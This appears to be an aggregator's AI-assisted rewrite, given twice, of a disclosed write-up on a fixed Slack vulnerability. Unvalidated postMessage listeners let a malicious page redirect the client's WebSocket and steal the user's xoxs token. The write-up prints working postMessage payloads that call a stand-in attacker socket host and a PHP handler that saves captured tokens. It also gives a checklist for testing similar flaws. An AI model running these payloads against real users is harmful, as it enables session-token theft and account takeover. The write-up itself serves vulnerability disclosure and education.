Skip to content
XSS Write-up Advanced

Slack post message real life experience

Slack's postMessage handlers did not validate the message origin, allowing an attacker to send crafted messages to a Slack window. By abusing the reconnect_url and goodbye events, an attacker could redirect the WebSocket connection to their own server and steal the victim's Slack token.

Frans Rosén Follow

Published on labs.detectify.com

Bounty$3,000 View original

Recently a bug I found in Slack was published on HackerOne and I wanted to explain it, and the method I used to discover it.

Frans Rosén (@fransrosen), on labs.detectify.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Slack is a team chat product that also ships voice and video calling. The browser version of the client keeps a long-lived WebSocket connection to Slack's messaging servers, and the calling feature runs in a separate window that talks to the main Slack window using window.postMessage(). That cross-window messaging is the feature under examination here: the main window registers a message listener on window, and the call window sends it structured events such as update_mini_panel and set_call_window_loaded.

The researcher's summary of the outcome: a malicious page could reconnect the victim's Slack WebSocket to an attacker-controlled WebSocket and steal the private Slack token. Slack fixed it in five hours on a Friday and paid $3,000. The public report is HackerOne #207170, "Stealing xoxs-tokens using weak postMessage / call-popup redirect to current team".

Setup

The researcher was using the browser version of Slack in Chrome. No special accounts or roles are described beyond a normal Slack user in a team, and the attack is designed to work against any Slack user, including users outside the attacker's own team. The tooling was Chrome's developer tools (the Event Listeners view under the Elements tab, and breakpoint mode for stepping through handlers) plus a local WebSocket server built on Ratchet, which the researcher describes as easy to set up.

Finding it

Using window.addEventListener('message', func) together with window.postMessage() is a convenient way to do cross-origin communication, but the classic pitfall is failing to check the origin of the message. In Chrome, the Event Listeners view under the Elements tab shows whether an object has listeners attached:

From the original on labs.detectify.com

Slack did have a listener on the window object. The listener function began like this:

JavaScript
var _receivePostedMessageFromChildWindow = function(evt) {
    if (!evt || !evt.data || !evt.data.message_type) {
        TS.utility.calls_log.logEvent({
            event: _utility_calls_config.log_events.invalid_msg_from_child_window,
            value: evt
        });
        return
    }
    if (evt.data.origin_window_type === TS.utility.calls.window_types.call_window) {
        switch (evt.data.message_type) {
        case TS.utility.calls.messages_from_call_window_types.update_mini_panel:
            ...
            break;
        case TS.utility.calls.messages_from_call_window_types.set_call_window_loaded:
            ...
            ...

Nowhere does it validate evt.origin or evt.source, both of which are read-only properties that cannot be spoofed. That omission was the signal that functions could be reached with postMessage from another window the attacker controls.

Exploitation

Step 1: reach any team

The first problem was targeting: a payload needs to know which team URL to use. The researcher noticed that https://my.slack.com redirects to the user's current Slack instance, which solves it for any victim.

Step 2: find a page that speaks the protocol

Reviewing the events that could be sent, the researcher found that the calls were otherwise handled safely. Controlling browser notifications sent by Slack, or switching to another chat, was not impactful enough. A boring proof of concept would have been: "I can shut down your call to someone, if you open my malicious page first and then call them".

From the original on labs.detectify.com

Deeper in the code there were many references to calls being made:

JavaScript
if (event.data.message_type != TS.utility.calls.messages_to_call_window_types.ms_msg && !event.data.reply_to) {
    TS.utility.calls_log.logEvent({
        event: _calls_config.log_events.message_from_parent_window,
        value: event.data
    })
}

This confirmed that a large part of the functionality belonged to the actual call feature:

From the original on labs.detectify.com

The call function lives in another window but has to communicate with the main Slack window, which is the reason postMessage was implemented in the first place.

The /call endpoint had the same missing origin check, and it exposed more interesting events. The obstacle was that /call needed a slug, such as /call/UXXXX, using the ID of a group or a user. Playing with Slack's routing, the researcher found that the slug me worked, so the following URL:

Text
https://slack.com/call/me

routes to /call/ on the current instance. That page breaks if you reload it, but it still loads and uses a postMessage listener.

From the original on labs.detectify.com

At that point the pieces were:

  1. a redirect to the user's current Slack instance;
  2. a page using the other end of the postMessage exchange, with a list of events to play with;
  3. a URL that works for any Slack user;
  4. a non-working page that nevertheless uses a postMessage listener.
From the original on labs.detectify.com

Step 3: dig through the events

Looking through the events that could be sent, one stood out:

From the original on labs.detectify.com

Using breakpoint mode in Chrome to traverse down the function revealed another chunk of message handlers inside it:

From the original on labs.detectify.com

Because origins were not verified, the researcher could control messages parsed by the main application and messages sent to the call window. One event in that window exposed another set of functions to cross-domain control:

JSON
"origin_window_type": "incoming_call", "message_type": "ms_msg"

Step 4: pick the reconnect_url event

Among the many events available, reconnect_url was interesting because it is basic and clearly abusable:

JavaScript
if (!TS.ms.fast_reconnects_enabled)
    return;
var url = imsg.url;
TS.ms.setReconnectUrl(url)

It switches the WebSocket URL Slack uses. WebSocket initialisation is done with a GET request carrying a set of parameters, one of which is token, holding an xoxs token with full and complete access to the Slack account.

From the original on labs.detectify.com

Step 5: stand up a socket that captures the token

The researcher started a local WebSocket with Ratchet. A complete socket was not needed, only something that responds properly to the init request. The onOpen handler was modified to look like this:

PHP
public function onOpen(ConnectionInterface $conn) {
    // Store the new connection to send messages to later
    $this->clients->attach($conn);
    $token = $conn->WebSocket->request->getQuery()['token'];
    echo sprintf("WE GOT TOKEN: %s\n", $token);
    file_put_contents('token.txt', $token);
    echo "New connection! ({$conn->resourceId})\n";
}

It dumps the token locally. Testing from the console whether the window would connect to the attacker's socket instead:

JavaScript
window.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")

It did not connect. Because the connection was already established with the original WebSocket, the event did not trigger a reconnect. Looking at the handler list, however, there was also a goodbye method:

JavaScript
 goodbye: function(imsg) {
    if (!TS.lazyLoadMembersAndBots())
        return;
    TS.info("Got a goodbye message, so disconnecting from the MS");
    TS.ms.disconnect()
},

Slack had a setting called fast_reconnects_enabled set to true, which made it possible to run the reconnect_url event and then the goodbye event to force a reconnect. In the beginning there were long reconnect delays, so it was not clear it would work.

Step 6: put it together

The full chain:

  1. Start an attacker WebSocket whose only job is to read the token parameter from the request and save it on the server.

  2. When the victim clicks the link on the malicious page, open a new window to https://slack.com/call/me and keep the window reference as var b.

  3. Start a polling script that checks whether the WebSocket received the token.

  4. Send the following postMessage to reset the socket URL:

    JavaScript
    b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")
    
  5. Every 2 seconds, run the goodbye call to make sure the socket connection is interrupted:

    JavaScript
    b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"goodbye"}}, "*")
    
  6. As soon as the slack.com window connects to the attacker's socket, the token is dumped, the polling finds it, and it is used to gather data from the auth.test endpoint in the Slack API with the xoxs token.

The token has been stolen from the user.

The token is redacted, you know.. :)
The token is redacted, you know.. :) From the original on labs.detectify.com

A short video shows the scenario running end to end:

From the original on labs.detectify.com

Root cause

The message listeners on both the main Slack window and the /call window accepted messages without validating evt.origin or evt.source. Those properties are read-only and cannot be spoofed, so checking them is the standard defence for postMessage. Because the check was absent, any page could drive the internal event handlers, including the ms_msg event that exposes the call-window functions. The reconnect_url handler then let the attacker point the messaging WebSocket at an arbitrary URL, and goodbye forced the reconnect that made Slack send its init request, with the xoxs token in the query string, to that URL. The fast_reconnects_enabled setting being true is what made the forced reconnect practical.

Impact

An attacker who gets a victim to open a malicious page can steal the victim's xoxs token, which has full and complete access to the Slack account, and then use it against the Slack API, for example the auth.test endpoint. The attack is aimed at any Slack user, not just members of the attacker's team, because https://my.slack.com redirects to the victim's current instance and /call/me routes to /call/ there. It requires the victim to open the attacker's page.

Fix

Slack's fix validates the origin of messages:

JavaScript
if (!TS.utility.calls.verifyOriginUrl(event.origin)) {
  return
}
...
verifyOriginUrl: function(originHref) {
    return TS.utility.url.getHostName(originHref) == window.location.hostname
},
...
getHostName: function(url) {
    if (!url)
        return "";
    var a = document.createElement("a");
    a.href = url;
    return a.hostname
},

Slack later corrected the fix to the version above because of a separate report by another person, who was able to post messages using an empty event.origin. That bypass was also posted in a Reddit comment. The report was sent on a Friday evening; Slack responded 33 minutes later and had a fix out 5 hours after that.

Variants to test

  1. Look for message listeners on window in any application that opens child windows (calls, popups, OAuth flows, embedded widgets) and check whether evt.origin and evt.source are validated. A positive result is a handler that acts on attacker-controlled data from a page on a different origin.
  2. Enumerate the event types a listener accepts and look for ones that change connection state, such as a reconnect URL, a disconnect, or a goodbye. A positive result is a message that makes the application open a new connection to a URL you control.
  3. Check whether the application puts credentials in the query string of a WebSocket or other connection init request. A positive result is a token arriving at your listener when the connection is redirected.
  4. Test whether a forced disconnect plus a reconnect-URL change causes the client to reconnect immediately, for example when a fast-reconnect setting is enabled. A positive result is a new connection to your endpoint without user interaction beyond the initial page load.
  5. Try generic slugs and redirects that resolve to the victim's own instance, such as a me slug on a call route, to see whether a single URL works across tenants. A positive result is a page that loads for any user and still registers the vulnerable listener.
  6. Test origin checks that compare hostnames, including empty or malformed event.origin values, to see whether the validation can be bypassed. A positive result is a message accepted with an origin the check should have rejected.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

Slack is a team chat product that also ships voice and video calling. The browser version of the client keeps a long-lived WebSocket connection to Slack's messaging servers, and the calling feature runs in a separate window that talks to the main Slack window using window.postMessage(). That cross-window messaging is the feature under examination here: the main window registers a message listener on window, and the call window sends it structured events such as update_mini_panel and set_call_window_loaded.

The researcher's summary of the outcome: a malicious page could reconnect the victim's Slack WebSocket to an attacker-controlled WebSocket and steal the private Slack token. Slack fixed it in five hours on a Friday and paid $3,000. The public report is HackerOne #207170, "Stealing xoxs-tokens using weak postMessage / call-popup redirect to current team".

Setup

The researcher was using the browser version of Slack in Chrome. No special accounts or roles are described beyond a normal Slack user in a team, and the attack is designed to work against any Slack user, including users outside the attacker's own team. The tooling was Chrome's developer tools (the Event Listeners view under the Elements tab, and breakpoint mode for stepping through handlers) plus a local WebSocket server built on Ratchet, which the researcher describes as easy to set up.

Finding it

Using window.addEventListener('message', func) together with window.postMessage() is a convenient way to do cross-origin communication, but the classic pitfall is failing to check the origin of the message. In Chrome, the Event Listeners view under the Elements tab shows whether an object has listeners attached:

From the original on labs.detectify.com

Slack did have a listener on the window object. The listener function began like this:

JavaScript
var _receivePostedMessageFromChildWindow = function(evt) {
    if (!evt || !evt.data || !evt.data.message_type) {
        TS.utility.calls_log.logEvent({
            event: _utility_calls_config.log_events.invalid_msg_from_child_window,
            value: evt
        });
        return
    }
    if (evt.data.origin_window_type === TS.utility.calls.window_types.call_window) {
        switch (evt.data.message_type) {
        case TS.utility.calls.messages_from_call_window_types.update_mini_panel:
            ...
            break;
        case TS.utility.calls.messages_from_call_window_types.set_call_window_loaded:
            ...
            ...

Nowhere does it validate evt.origin or evt.source, both of which are read-only properties that cannot be spoofed. That omission was the signal that functions could be reached with postMessage from another window the attacker controls.

Exploitation

Step 1: reach any team

The first problem was targeting: a payload needs to know which team URL to use. The researcher noticed that https://my.slack.com redirects to the user's current Slack instance, which solves it for any victim.

Step 2: find a page that speaks the protocol

Reviewing the events that could be sent, the researcher found that the calls were otherwise handled safely. Controlling browser notifications sent by Slack, or switching to another chat, was not impactful enough. A boring proof of concept would have been: "I can shut down your call to someone, if you open my malicious page first and then call them".

From the original on labs.detectify.com

Deeper in the code there were many references to calls being made:

JavaScript
if (event.data.message_type != TS.utility.calls.messages_to_call_window_types.ms_msg && !event.data.reply_to) {
    TS.utility.calls_log.logEvent({
        event: _calls_config.log_events.message_from_parent_window,
        value: event.data
    })
}

This confirmed that a large part of the functionality belonged to the actual call feature:

From the original on labs.detectify.com

The call function lives in another window but has to communicate with the main Slack window, which is the reason postMessage was implemented in the first place.

The /call endpoint had the same missing origin check, and it exposed more interesting events. The obstacle was that /call needed a slug, such as /call/UXXXX, using the ID of a group or a user. Playing with Slack's routing, the researcher found that the slug me worked, so the following URL:

Text
https://slack.com/call/me

routes to /call/ on the current instance. That page breaks if you reload it, but it still loads and uses a postMessage listener.

From the original on labs.detectify.com

At that point the pieces were:

  1. a redirect to the user's current Slack instance;
  2. a page using the other end of the postMessage exchange, with a list of events to play with;
  3. a URL that works for any Slack user;
  4. a non-working page that nevertheless uses a postMessage listener.
From the original on labs.detectify.com

Step 3: dig through the events

Looking through the events that could be sent, one stood out:

From the original on labs.detectify.com

Using breakpoint mode in Chrome to traverse down the function revealed another chunk of message handlers inside it:

From the original on labs.detectify.com

Because origins were not verified, the researcher could control messages parsed by the main application and messages sent to the call window. One event in that window exposed another set of functions to cross-domain control:

JSON
"origin_window_type": "incoming_call", "message_type": "ms_msg"

Step 4: pick the reconnect_url event

Among the many events available, reconnect_url was interesting because it is basic and clearly abusable:

JavaScript
if (!TS.ms.fast_reconnects_enabled)
    return;
var url = imsg.url;
TS.ms.setReconnectUrl(url)

It switches the WebSocket URL Slack uses. WebSocket initialisation is done with a GET request carrying a set of parameters, one of which is token, holding an xoxs token with full and complete access to the Slack account.

From the original on labs.detectify.com

Step 5: stand up a socket that captures the token

The researcher started a local WebSocket with Ratchet. A complete socket was not needed, only something that responds properly to the init request. The onOpen handler was modified to look like this:

PHP
public function onOpen(ConnectionInterface $conn) {
    // Store the new connection to send messages to later
    $this->clients->attach($conn);
    $token = $conn->WebSocket->request->getQuery()['token'];
    echo sprintf("WE GOT TOKEN: %s\n", $token);
    file_put_contents('token.txt', $token);
    echo "New connection! ({$conn->resourceId})\n";
}

It dumps the token locally. Testing from the console whether the window would connect to the attacker's socket instead:

JavaScript
window.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")

It did not connect. Because the connection was already established with the original WebSocket, the event did not trigger a reconnect. Looking at the handler list, however, there was also a goodbye method:

JavaScript
 goodbye: function(imsg) {
    if (!TS.lazyLoadMembersAndBots())
        return;
    TS.info("Got a goodbye message, so disconnecting from the MS");
    TS.ms.disconnect()
},

Slack had a setting called fast_reconnects_enabled set to true, which made it possible to run the reconnect_url event and then the goodbye event to force a reconnect. In the beginning there were long reconnect delays, so it was not clear it would work.

Step 6: put it together

The full chain:

  1. Start an attacker WebSocket whose only job is to read the token parameter from the request and save it on the server.

  2. When the victim clicks the link on the malicious page, open a new window to https://slack.com/call/me and keep the window reference as var b.

  3. Start a polling script that checks whether the WebSocket received the token.

  4. Send the following postMessage to reset the socket URL:

    JavaScript
    b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")
    
  5. Every 2 seconds, run the goodbye call to make sure the socket connection is interrupted:

    JavaScript
    b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"goodbye"}}, "*")
    
  6. As soon as the slack.com window connects to the attacker's socket, the token is dumped, the polling finds it, and it is used to gather data from the auth.test endpoint in the Slack API with the xoxs token.

The token has been stolen from the user.

The token is redacted, you know.. :)
The token is redacted, you know.. :) From the original on labs.detectify.com

A short video shows the scenario running end to end:

From the original on labs.detectify.com

Root cause

The message listeners on both the main Slack window and the /call window accepted messages without validating evt.origin or evt.source. Those properties are read-only and cannot be spoofed, so checking them is the standard defence for postMessage. Because the check was absent, any page could drive the internal event handlers, including the ms_msg event that exposes the call-window functions. The reconnect_url handler then let the attacker point the messaging WebSocket at an arbitrary URL, and goodbye forced the reconnect that made Slack send its init request, with the xoxs token in the query string, to that URL. The fast_reconnects_enabled setting being true is what made the forced reconnect practical.

Impact

An attacker who gets a victim to open a malicious page can steal the victim's xoxs token, which has full and complete access to the Slack account, and then use it against the Slack API, for example the auth.test endpoint. The attack is aimed at any Slack user, not just members of the attacker's team, because https://my.slack.com redirects to the victim's current instance and /call/me routes to /call/ there. It requires the victim to open the attacker's page.

Fix

Slack's fix validates the origin of messages:

JavaScript
if (!TS.utility.calls.verifyOriginUrl(event.origin)) {
  return
}
...
verifyOriginUrl: function(originHref) {
    return TS.utility.url.getHostName(originHref) == window.location.hostname
},
...
getHostName: function(url) {
    if (!url)
        return "";
    var a = document.createElement("a");
    a.href = url;
    return a.hostname
},

Slack later corrected the fix to the version above because of a separate report by another person, who was able to post messages using an empty event.origin. That bypass was also posted in a Reddit comment. The report was sent on a Friday evening; Slack responded 33 minutes later and had a fix out 5 hours after that.

Variants to test

  1. Look for message listeners on window in any application that opens child windows (calls, popups, OAuth flows, embedded widgets) and check whether evt.origin and evt.source are validated. A positive result is a handler that acts on attacker-controlled data from a page on a different origin.
  2. Enumerate the event types a listener accepts and look for ones that change connection state, such as a reconnect URL, a disconnect, or a goodbye. A positive result is a message that makes the application open a new connection to a URL you control.
  3. Check whether the application puts credentials in the query string of a WebSocket or other connection init request. A positive result is a token arriving at your listener when the connection is redirected.
  4. Test whether a forced disconnect plus a reconnect-URL change causes the client to reconnect immediately, for example when a fast-reconnect setting is enabled. A positive result is a new connection to your endpoint without user interaction beyond the initial page load.
  5. Try generic slugs and redirects that resolve to the victim's own instance, such as a me slug on a call route, to see whether a single URL works across tenants. A positive result is a page that loads for any user and still registers the vulnerable listener.
  6. Test origin checks that compare hostnames, including empty or malformed event.origin values, to see whether the validation can be bypassed. A positive result is a message accepted with an origin the check should have rejected.

Glossary

  • API: A set of rules that lets one program talk to another, like a menu of requests a service accepts.
  • Bounty: A reward paid by a company to someone who reports a security problem.
  • Breakpoint: A debugging tool that pauses a program at a chosen line so you can inspect what it is doing.
  • Chrome: A web browser made by Google.
  • Cookie: A small piece of data a website stores in your browser to remember you between visits.
  • Cross-origin: Coming from a different website address (domain, protocol or port) than the one being visited.
  • Developer tools: Built-in browser features for inspecting pages, code and network traffic.
  • Endpoint: A specific address on a server that accepts a particular kind of request.
  • Event listener: Code that waits for a particular thing to happen (a click, a message) and then runs a function.
  • GET request: A basic web request that asks a server for something, with parameters often visible in the URL.
  • HackerOne: A platform where security researchers report bugs to companies.
  • Hostname: The part of a web address that names the server, such as slack.com.
  • Instance: One running copy of a service, here a particular team's Slack workspace.
  • JSON: A text format for structured data, using curly braces, quotes and colons.
  • Listener: See event listener.
  • Malicious page: A web page controlled by an attacker.
  • Origin: The combination of protocol, hostname and port that identifies where a web page came from.
  • Polling: Repeatedly checking something at intervals, like refreshing a page every few seconds.
  • PoC (proof of concept): A small demonstration that a security problem is real.
  • postMessage: A browser function that lets one window send a message to another window, even across origins.
  • Query string: The part of a URL after the ?, carrying parameters as name=value pairs.
  • Ratchet: A PHP library for building WebSocket servers.
  • Read-only property: A value in code that can be read but not changed by the page.
  • Redirect: A server response that sends the browser to a different address.
  • Slug: A short readable identifier in a URL, such as me or a user ID.
  • Socket: A network connection endpoint; here, a WebSocket connection.
  • Source (evt.source): A read-only property on a message event saying which window sent it.
  • Token: A secret string that acts like a password, proving who you are to a service.
  • URL: A web address.
  • WebSocket: A connection that stays open between browser and server so data can flow both ways in real time.
  • Window reference: A handle in JavaScript that lets one window send messages to another window it opened.
  • xoxs token: A Slack token type that grants full access to an account.
  • auth.test: A Slack API endpoint used to check who a token belongs to.
  • fast_reconnects_enabled: A Slack setting that makes the client reconnect quickly after a disconnect.
  • goodbye: An event in Slack's code that disconnects the messaging socket.
  • reconnect_url: An event in Slack's code that changes the WebSocket URL the client will use.
  • ms_msg: A message type that carries events to the call window.
  • origin_window_type: A field in Slack's messages saying which kind of window sent the message.
  • message_type: A field in Slack's messages saying what kind of event it is.

More by Frans Rosén

View all

3 more disclosed reports, best first.

More from Slack

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.